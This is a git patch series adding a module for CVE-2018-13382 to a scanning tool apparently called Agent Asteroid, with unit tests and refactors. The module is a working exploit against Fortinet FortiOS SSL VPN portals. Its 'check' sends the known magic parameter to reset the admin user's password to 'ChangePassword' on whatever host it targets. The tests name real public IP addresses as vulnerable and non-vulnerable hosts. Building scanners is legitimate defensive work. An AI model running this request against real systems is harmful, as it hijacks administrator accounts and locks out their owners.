From 3c68cc756b5defbf9fe107d5f59fa3901a0fa462 Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Tue, 21 Nov 2023 11:40:55 +0100 Subject: [PATCH 01/12] Exploit/implement exploit CVE-2018-13382 for Fortigate SSL VPN --- agent/exploits/cve_2018_13382.py | 115 +++++++++++++++++++++++++++++++ tests/conftest.py | 6 ++ tests/exploits_test.py | 28 ++++++++ 3 files changed, 149 insertions(+) create mode 100644 agent/exploits/cve_2018_13382.py diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py new file mode 100644 index 00000000..d08f25a0 --- /dev/null +++ b/agent/exploits/cve_2018_13382.py @@ -0,0 +1,115 @@ +"""Agent Asteroid implementation for CVE-2018-13382: Not tested on a live target.""" +import logging + +import requests +from urllib3 import exceptions +from urllib3 import disable_warnings +from ostorlab.agent.mixins import agent_report_vulnerability_mixin +from ostorlab.agent.kb import kb + +from agent import definitions +from agent import exploits_registry + +disable_warnings(exceptions.InsecureRequestWarning) + +DEFAULT_TIMEOUT = 90 + +logger = logging.getLogger(__name__) + + +@exploits_registry.register +class CVE201813382Exploit(definitions.Exploit): + """ + An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382 . + """ + + def accept(self, target: definitions.Target) -> bool: + """Verify if the host is alive""" + try: + url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" + headers = { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate", + "Connection": "close", + "Upgrade-Insecure-Requests": "1", + } + r = requests.get( + url, headers=headers, verify=False, timeout=DEFAULT_TIMEOUT + ) + if r.status_code == 200 and "Please Login" in r.text: + return True + else: + return False + except requests.exceptions.ConnectionError: + return False + + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + """CVE-2018-13382 : An Improper Authorization vulnerability""" + url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" + headers = { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate", + "Connection": "close", + "Upgrade-Insecure-Requests": "1", + } + # we are trying to change the password for the user : admin + data = { + "ajax": "1", + "username": "admin", + "realm": "", + "credential": "YouAreVulnerable", + "magic": "4tinet2095866", + "reqid": "0", + "credential2": "YouAreVulnerable", + } + try: + res = requests.post( + url, headers=headers, data=data, verify=False, timeout=DEFAULT_TIMEOUT + ) + except requests.exceptions.RequestException: + return [] + + if res.status_code == 200 and "redir=/remote/hostcheck_install" in res.text: + vulnerability = self._generate_vulnerability_object(target) + return [vulnerability] + else: + return [] + + def _generate_vulnerability_object( + self, target: definitions.Target + ) -> definitions.Vulnerability: + entry = kb.Entry( + title="An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382", + risk_rating="critical", + short_description="An Improper Authorization vulnerability in the SSL VPN web portal may allow an " + "unauthenticated attacker to change the password of an SSL VPN web portal user .", + description="An Improper Authorization vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 " + "to 5.6.8 and 5.4.1 to 5.4.10 under SSL VPN web portal " + "allows an unauthenticated attacker to modify the password of an SSL VPN web portal user " + "via specially crafted HTTP requests.", + references={ + "Fortiguard advisory": "https://fortiguard.com/advisory/FG-IR-18-389", + "Blog": "https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html", + }, + recommendation=""" + Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above. Mitigation: SSL VPN users with local + authentication can mitigate the impact by enabling Two-Factor Authentication (2FA): If their + password is changed by an attacker leveraging this vulnerability, the attacker will not be able to + log in and use their SSL VPN account. + """, + security_issue=True, + privacy_issue=False, + has_public_exploit=True, + targeted_by_malware=False, + targeted_by_ransomware=True, + targeted_by_nation_state=False, + ) + technical_detail = f"{target.host} is vulnerable to CVE-2018-13382" + vulnerability = definitions.Vulnerability( + entry=entry, + technical_detail=technical_detail, + risk_rating=agent_report_vulnerability_mixin.RiskRating.CRITICAL, + ) + return vulnerability diff --git a/tests/conftest.py b/tests/conftest.py index 29254546..77cd6427 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -112,3 +112,9 @@ def asteroid_agent_instance() -> asteroid_agent.AsteroidAgent: ) return asteroid_agent.AsteroidAgent(definition, settings) + + +@pytest.fixture() +def target_vulnerable_to_cve_2018_13382() -> definitions.Target: + """Creates a target vulnerable to CVE-2018-13382.""" + return definitions.Target("https", "109.239.246.106", 10443) diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 87cdffaa..75377feb 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -9,6 +9,7 @@ from agent import definitions from agent.exploits import cve_2021_22941 from agent.exploits import cve_2023_27997 +from agent.exploits import cve_2018_13382 seed: int = 0 @@ -80,3 +81,30 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control " "in Citrix ShareFile storage zones controller" ) + + +def test_CVE_2018_13382_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, + target_vulnerable_to_cve_2018_13382: definitions.Target, +) -> None: + """Ensure that the exploit reports findings when the application is vulnerable.""" + exploit_instance = cve_2018_13382.CVE201813382Exploit() + url = "https://109.239.246.106:10443/remote/login?lang=en" + + requests_mock.post( + url, + text="redir=/remote/hostcheck_install", + status_code=200, + ) + + vulnerabilities = exploit_instance.check(target_vulnerable_to_cve_2018_13382) + vulnerability = vulnerabilities[0] + + assert ( + vulnerability.entry.title + == "An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382" + ) + assert ( + vulnerability.technical_detail + == "109.239.246.106 is vulnerable to CVE-2018-13382" + ) From d8a71a3541e7f23b53d34a9470eece27c3edc00a Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Tue, 21 Nov 2023 11:58:11 +0100 Subject: [PATCH 02/12] fix pylint --- agent/exploits/cve_2018_13382.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index d08f25a0..c173bf12 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -37,10 +37,9 @@ def accept(self, target: definitions.Target) -> bool: r = requests.get( url, headers=headers, verify=False, timeout=DEFAULT_TIMEOUT ) - if r.status_code == 200 and "Please Login" in r.text: - return True - else: - return False + return bool( + r.status_code == 200 and "Please Login" in r.text + ) except requests.exceptions.ConnectionError: return False From e8c46037c9ebe2e9a9ba2bfd0a8afed07bd5c9f5 Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Tue, 21 Nov 2023 16:06:21 +0100 Subject: [PATCH 03/12] fix comments --- agent/exploits/cve_2018_13382.py | 7 +++---- tests/conftest.py | 6 ++++++ tests/exploits_test.py | 19 ++++++++++++++++++- 3 files changed, 27 insertions(+), 5 deletions(-) diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index c173bf12..8948d018 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -24,7 +24,7 @@ class CVE201813382Exploit(definitions.Exploit): """ def accept(self, target: definitions.Target) -> bool: - """Verify if the host is alive""" + """Verify if the host is alive.""" try: url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" headers = { @@ -37,9 +37,8 @@ def accept(self, target: definitions.Target) -> bool: r = requests.get( url, headers=headers, verify=False, timeout=DEFAULT_TIMEOUT ) - return bool( - r.status_code == 200 and "Please Login" in r.text - ) + return r.status_code == 200 and "Please Login" in r.text + except requests.exceptions.ConnectionError: return False diff --git a/tests/conftest.py b/tests/conftest.py index 77cd6427..4e66e960 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -118,3 +118,9 @@ def asteroid_agent_instance() -> asteroid_agent.AsteroidAgent: def target_vulnerable_to_cve_2018_13382() -> definitions.Target: """Creates a target vulnerable to CVE-2018-13382.""" return definitions.Target("https", "109.239.246.106", 10443) + + +@pytest.fixture() +def target_not_vulnerable_to_cve_2018_13382() -> definitions.Target: + """Creates a target vulnerable to CVE-2018-13382.""" + return definitions.Target("https", "139.255.255.218", 10443) diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 75377feb..943ba276 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -90,7 +90,6 @@ def test_CVE_2018_13382_whenVulnerable_reportFinding( """Ensure that the exploit reports findings when the application is vulnerable.""" exploit_instance = cve_2018_13382.CVE201813382Exploit() url = "https://109.239.246.106:10443/remote/login?lang=en" - requests_mock.post( url, text="redir=/remote/hostcheck_install", @@ -108,3 +107,21 @@ def test_CVE_2018_13382_whenVulnerable_reportFinding( vulnerability.technical_detail == "109.239.246.106 is vulnerable to CVE-2018-13382" ) + + +def test_CVE_2018_13382_whenNotVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, + target_not_vulnerable_to_cve_2018_13382: definitions.Target, +) -> None: + """Ensure that there is not findings when the application is not vulnerable.""" + exploit_instance = cve_2018_13382.CVE201813382Exploit() + url = "https://139.255.255.218:10443/remote/login?lang=en" + requests_mock.post( + url, + text="", + status_code=200, + ) + + vulnerabilities = exploit_instance.check(target_not_vulnerable_to_cve_2018_13382) + + assert len(vulnerabilities) == 0 From 8d5c691a25374454110972ef52cd7d85a26e7674 Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Tue, 21 Nov 2023 17:14:34 +0100 Subject: [PATCH 04/12] fix failing test --- tests/exploits_registry_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/exploits_registry_test.py b/tests/exploits_registry_test.py index 84a23bd9..92df9331 100644 --- a/tests/exploits_registry_test.py +++ b/tests/exploits_registry_test.py @@ -12,7 +12,7 @@ def testExploitsRegistry_importingAllExploits_registerAll() -> None: registered_exploits = exploits_registry.ExploitsRegistry.values() - assert len(registered_exploits) == 2 + assert len(registered_exploits) == 3 def testExploitsRegistry_allExploits_mustBeRegisteredOnce() -> None: From d360d5dc29390888d02e2bfc5c0828bb5579d0ad Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Tue, 21 Nov 2023 17:30:08 +0100 Subject: [PATCH 05/12] fix comments --- tests/conftest.py | 12 ------------ tests/exploits_test.py | 8 ++++---- 2 files changed, 4 insertions(+), 16 deletions(-) diff --git a/tests/conftest.py b/tests/conftest.py index 244c31b4..ce563593 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -101,15 +101,3 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: yield TestExploit exploits_registry.unregister(TestExploit) - - -@pytest.fixture() -def target_vulnerable_to_cve_2018_13382() -> definitions.Target: - """Creates a target vulnerable to CVE-2018-13382.""" - return definitions.Target("https", "109.239.246.106", 10443) - - -@pytest.fixture() -def target_not_vulnerable_to_cve_2018_13382() -> definitions.Target: - """Creates a target vulnerable to CVE-2018-13382.""" - return definitions.Target("https", "139.255.255.218", 10443) diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 943ba276..e446ced1 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -85,7 +85,6 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( def test_CVE_2018_13382_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, - target_vulnerable_to_cve_2018_13382: definitions.Target, ) -> None: """Ensure that the exploit reports findings when the application is vulnerable.""" exploit_instance = cve_2018_13382.CVE201813382Exploit() @@ -96,7 +95,8 @@ def test_CVE_2018_13382_whenVulnerable_reportFinding( status_code=200, ) - vulnerabilities = exploit_instance.check(target_vulnerable_to_cve_2018_13382) + target = definitions.Target("https", "109.239.246.106", 10443) + vulnerabilities = exploit_instance.check(target) vulnerability = vulnerabilities[0] assert ( @@ -111,7 +111,6 @@ def test_CVE_2018_13382_whenVulnerable_reportFinding( def test_CVE_2018_13382_whenNotVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, - target_not_vulnerable_to_cve_2018_13382: definitions.Target, ) -> None: """Ensure that there is not findings when the application is not vulnerable.""" exploit_instance = cve_2018_13382.CVE201813382Exploit() @@ -122,6 +121,7 @@ def test_CVE_2018_13382_whenNotVulnerable_reportFinding( status_code=200, ) - vulnerabilities = exploit_instance.check(target_not_vulnerable_to_cve_2018_13382) + target = definitions.Target("https", "139.255.255.218", 10443) + vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 From 80d399ed932eece1113fcde056ffb07c4255f5bf Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Wed, 22 Nov 2023 08:46:09 +0100 Subject: [PATCH 06/12] fix comments --- agent/exploits/cve_2018_13382.py | 25 +++++++++---------------- 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index 8948d018..87db80e4 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -13,6 +13,13 @@ disable_warnings(exceptions.InsecureRequestWarning) DEFAULT_TIMEOUT = 90 +HEADERS = { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate", + "Connection": "close", + "Upgrade-Insecure-Requests": "1", +} logger = logging.getLogger(__name__) @@ -27,15 +34,8 @@ def accept(self, target: definitions.Target) -> bool: """Verify if the host is alive.""" try: url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" - headers = { - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Language": "en-US,en;q=0.5", - "Accept-Encoding": "gzip, deflate", - "Connection": "close", - "Upgrade-Insecure-Requests": "1", - } r = requests.get( - url, headers=headers, verify=False, timeout=DEFAULT_TIMEOUT + url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT ) return r.status_code == 200 and "Please Login" in r.text @@ -45,13 +45,6 @@ def accept(self, target: definitions.Target) -> bool: def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: """CVE-2018-13382 : An Improper Authorization vulnerability""" url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" - headers = { - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Language": "en-US,en;q=0.5", - "Accept-Encoding": "gzip, deflate", - "Connection": "close", - "Upgrade-Insecure-Requests": "1", - } # we are trying to change the password for the user : admin data = { "ajax": "1", @@ -64,7 +57,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } try: res = requests.post( - url, headers=headers, data=data, verify=False, timeout=DEFAULT_TIMEOUT + url, headers=HEADERS, data=data, verify=False, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException: return [] From 4f5e5f05950f38f57241102eceb697c393ed9d09 Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Wed, 22 Nov 2023 09:28:52 +0100 Subject: [PATCH 07/12] fix comments --- tests/exploits_test.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/exploits_test.py b/tests/exploits_test.py index e446ced1..023ea7a8 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -109,10 +109,10 @@ def test_CVE_2018_13382_whenVulnerable_reportFinding( ) -def test_CVE_2018_13382_whenNotVulnerable_reportFinding( +def test_CVE_2018_13382_whenNotVulnerable_noFindingsReported( requests_mock: req_mock.mocker.Mocker, ) -> None: - """Ensure that there is not findings when the application is not vulnerable.""" + """Ensure that there is no findings when the application is not vulnerable.""" exploit_instance = cve_2018_13382.CVE201813382Exploit() url = "https://139.255.255.218:10443/remote/login?lang=en" requests_mock.post( From 32b7517a475bb8c0b7777a2483c8e519268d47d8 Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Thu, 23 Nov 2023 08:33:50 +0100 Subject: [PATCH 08/12] fix comment --- agent/exploits/cve_2018_13382.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index 87db80e4..9bd0fbd5 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -21,8 +21,6 @@ "Upgrade-Insecure-Requests": "1", } -logger = logging.getLogger(__name__) - @exploits_registry.register class CVE201813382Exploit(definitions.Exploit): From 48859c32a3088f3f2e356469040b65bee6d2c065 Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Thu, 23 Nov 2023 09:45:36 +0100 Subject: [PATCH 09/12] fix pylint --- agent/exploits/cve_2018_13382.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index 9bd0fbd5..fc18f97a 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -1,6 +1,4 @@ """Agent Asteroid implementation for CVE-2018-13382: Not tested on a live target.""" -import logging - import requests from urllib3 import exceptions from urllib3 import disable_warnings @@ -93,7 +91,7 @@ def _generate_vulnerability_object( has_public_exploit=True, targeted_by_malware=False, targeted_by_ransomware=True, - targeted_by_nation_state=False, + targeted_by_nation_state=True, ) technical_detail = f"{target.host} is vulnerable to CVE-2018-13382" vulnerability = definitions.Vulnerability( From 7b69a60825df39a11ae554b45c0b9fbdac275b5c Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Thu, 23 Nov 2023 10:41:12 +0100 Subject: [PATCH 10/12] fix comments --- agent/exploits/cve_2018_13382.py | 20 +++++------ tests/conftest.py | 3 +- tests/exploits/__init__.py | 0 tests/exploits/cve_2018_13382_test.py | 50 +++++++++++++++++++++++++++ tests/exploits_test.py | 45 ------------------------ 5 files changed, 61 insertions(+), 57 deletions(-) create mode 100644 tests/exploits/__init__.py create mode 100644 tests/exploits/cve_2018_13382_test.py diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index fc18f97a..dc441689 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -23,23 +23,20 @@ @exploits_registry.register class CVE201813382Exploit(definitions.Exploit): """ - An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382 . + CVE-2018-13382 : An Improper Authorization vulnerability in Fortinet FortiOS. """ def accept(self, target: definitions.Target) -> bool: - """Verify if the host is alive.""" try: url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" r = requests.get( url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT ) - return r.status_code == 200 and "Please Login" in r.text - except requests.exceptions.ConnectionError: return False + return r.status_code == 200 and "Please Login" in r.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - """CVE-2018-13382 : An Improper Authorization vulnerability""" url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" # we are trying to change the password for the user : admin data = { @@ -49,7 +46,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "credential": "YouAreVulnerable", "magic": "4tinet2095866", "reqid": "0", - "credential2": "YouAreVulnerable", + "credential2": "ChangePassword", } try: res = requests.post( @@ -59,12 +56,12 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: return [] if res.status_code == 200 and "redir=/remote/hostcheck_install" in res.text: - vulnerability = self._generate_vulnerability_object(target) + vulnerability = self._create_vulnerability(target) return [vulnerability] else: return [] - def _generate_vulnerability_object( + def _create_vulnerability( self, target: definitions.Target ) -> definitions.Vulnerability: entry = kb.Entry( @@ -89,11 +86,14 @@ def _generate_vulnerability_object( security_issue=True, privacy_issue=False, has_public_exploit=True, - targeted_by_malware=False, + targeted_by_malware=True, targeted_by_ransomware=True, targeted_by_nation_state=True, ) - technical_detail = f"{target.host} is vulnerable to CVE-2018-13382" + technical_detail = ( + f"{target.host} is vulnerable to CVE-2018-13382 : the admin user's" + f" password being changed to `ChangePassword`." + ) vulnerability = definitions.Vulnerability( entry=entry, technical_detail=technical_detail, diff --git a/tests/conftest.py b/tests/conftest.py index ce563593..37c78f12 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -1,8 +1,7 @@ """Pytest fixtures for agent Asteroid""" import pathlib import random -from typing import Type -from typing import Generator +from typing import Type, Generator import pytest from ostorlab.agent import definitions as agent_definitions diff --git a/tests/exploits/__init__.py b/tests/exploits/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/exploits/cve_2018_13382_test.py b/tests/exploits/cve_2018_13382_test.py new file mode 100644 index 00000000..18d3c86b --- /dev/null +++ b/tests/exploits/cve_2018_13382_test.py @@ -0,0 +1,50 @@ +"""Unit tests for Agent Asteriod exploits""" +import requests_mock as req_mock + +from agent import definitions +from agent.exploits import cve_2018_13382 + + +def test_CVE_2018_13382_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """Ensure that the exploit reports findings when the application is vulnerable.""" + exploit_instance = cve_2018_13382.CVE201813382Exploit() + url = "https://109.239.246.106:10443/remote/login?lang=en" + requests_mock.post( + url, + text="redir=/remote/hostcheck_install", + status_code=200, + ) + target = definitions.Target("https", "109.239.246.106", 10443) + + vulnerabilities = exploit_instance.check(target) + + vulnerability = vulnerabilities[0] + assert ( + vulnerability.entry.title + == "An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382" + ) + assert ( + vulnerability.technical_detail + == "109.239.246.106 is vulnerable to CVE-2018-13382 : " + "the admin user's password being changed to `ChangePassword`." + ) + + +def test_CVE_2018_13382_whenNotVulnerable_noFindingsReported( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """Ensure that there is no findings when the application is not vulnerable.""" + exploit_instance = cve_2018_13382.CVE201813382Exploit() + url = "https://139.255.255.218:10443/remote/login?lang=en" + requests_mock.post( + url, + text="", + status_code=200, + ) + target = definitions.Target("https", "139.255.255.218", 10443) + + vulnerabilities = exploit_instance.check(target) + + assert len(vulnerabilities) == 0 diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 023ea7a8..87cdffaa 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -9,7 +9,6 @@ from agent import definitions from agent.exploits import cve_2021_22941 from agent.exploits import cve_2023_27997 -from agent.exploits import cve_2018_13382 seed: int = 0 @@ -81,47 +80,3 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control " "in Citrix ShareFile storage zones controller" ) - - -def test_CVE_2018_13382_whenVulnerable_reportFinding( - requests_mock: req_mock.mocker.Mocker, -) -> None: - """Ensure that the exploit reports findings when the application is vulnerable.""" - exploit_instance = cve_2018_13382.CVE201813382Exploit() - url = "https://109.239.246.106:10443/remote/login?lang=en" - requests_mock.post( - url, - text="redir=/remote/hostcheck_install", - status_code=200, - ) - - target = definitions.Target("https", "109.239.246.106", 10443) - vulnerabilities = exploit_instance.check(target) - vulnerability = vulnerabilities[0] - - assert ( - vulnerability.entry.title - == "An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382" - ) - assert ( - vulnerability.technical_detail - == "109.239.246.106 is vulnerable to CVE-2018-13382" - ) - - -def test_CVE_2018_13382_whenNotVulnerable_noFindingsReported( - requests_mock: req_mock.mocker.Mocker, -) -> None: - """Ensure that there is no findings when the application is not vulnerable.""" - exploit_instance = cve_2018_13382.CVE201813382Exploit() - url = "https://139.255.255.218:10443/remote/login?lang=en" - requests_mock.post( - url, - text="", - status_code=200, - ) - - target = definitions.Target("https", "139.255.255.218", 10443) - vulnerabilities = exploit_instance.check(target) - - assert len(vulnerabilities) == 0 From a4f26c2be14569bbdef963083760d7a6bc0d1aff Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Fri, 24 Nov 2023 15:45:36 +0100 Subject: [PATCH 11/12] fixing the registry test --- tests/exploits_registry_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/exploits_registry_test.py b/tests/exploits_registry_test.py index 92df9331..3b53f0a6 100644 --- a/tests/exploits_registry_test.py +++ b/tests/exploits_registry_test.py @@ -12,7 +12,7 @@ def testExploitsRegistry_importingAllExploits_registerAll() -> None: registered_exploits = exploits_registry.ExploitsRegistry.values() - assert len(registered_exploits) == 3 + assert len(registered_exploits) > 0 def testExploitsRegistry_allExploits_mustBeRegisteredOnce() -> None: From a0564938c6e301d0ce4af4ed983a11a700315d4f Mon Sep 17 00:00:00 2001 From: PiranhaSa Date: Fri, 24 Nov 2023 17:23:31 +0100 Subject: [PATCH 12/12] fixing comments --- agent/exploits/cve_2018_13382.py | 6 +++--- tests/exploits/cve_2018_13382_test.py | 8 ++++---- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index dc441689..e44c8073 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -32,7 +32,7 @@ def accept(self, target: definitions.Target) -> bool: r = requests.get( url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT ) - except requests.exceptions.ConnectionError: + except requests.exceptions.RequestException: return False return r.status_code == 200 and "Please Login" in r.text @@ -66,7 +66,7 @@ def _create_vulnerability( ) -> definitions.Vulnerability: entry = kb.Entry( title="An Improper Authorization vulnerability in Fortinet FortiOS: CVE-2018-13382", - risk_rating="critical", + risk_rating="CRITICAL", short_description="An Improper Authorization vulnerability in the SSL VPN web portal may allow an " "unauthenticated attacker to change the password of an SSL VPN web portal user .", description="An Improper Authorization vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 " @@ -91,7 +91,7 @@ def _create_vulnerability( targeted_by_nation_state=True, ) technical_detail = ( - f"{target.host} is vulnerable to CVE-2018-13382 : the admin user's" + f"{target.scheme}://{target.host}:{target.port} is vulnerable to CVE-2018-13382 : the admin user's" f" password being changed to `ChangePassword`." ) vulnerability = definitions.Vulnerability( diff --git a/tests/exploits/cve_2018_13382_test.py b/tests/exploits/cve_2018_13382_test.py index 18d3c86b..c19c225a 100644 --- a/tests/exploits/cve_2018_13382_test.py +++ b/tests/exploits/cve_2018_13382_test.py @@ -1,11 +1,11 @@ -"""Unit tests for Agent Asteriod exploits""" +"""Unit tests for Agent Asteroid: CVE-2018-13382""" import requests_mock as req_mock from agent import definitions from agent.exploits import cve_2018_13382 -def test_CVE_2018_13382_whenVulnerable_reportFinding( +def testCVE201813382_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, ) -> None: """Ensure that the exploit reports findings when the application is vulnerable.""" @@ -27,12 +27,12 @@ def test_CVE_2018_13382_whenVulnerable_reportFinding( ) assert ( vulnerability.technical_detail - == "109.239.246.106 is vulnerable to CVE-2018-13382 : " + == "https://109.239.246.106:10443 is vulnerable to CVE-2018-13382 : " "the admin user's password being changed to `ChangePassword`." ) -def test_CVE_2018_13382_whenNotVulnerable_noFindingsReported( +def testCVE201813382_whenNotVulnerable_noFindingsReported( requests_mock: req_mock.mocker.Mocker, ) -> None: """Ensure that there is no findings when the application is not vulnerable."""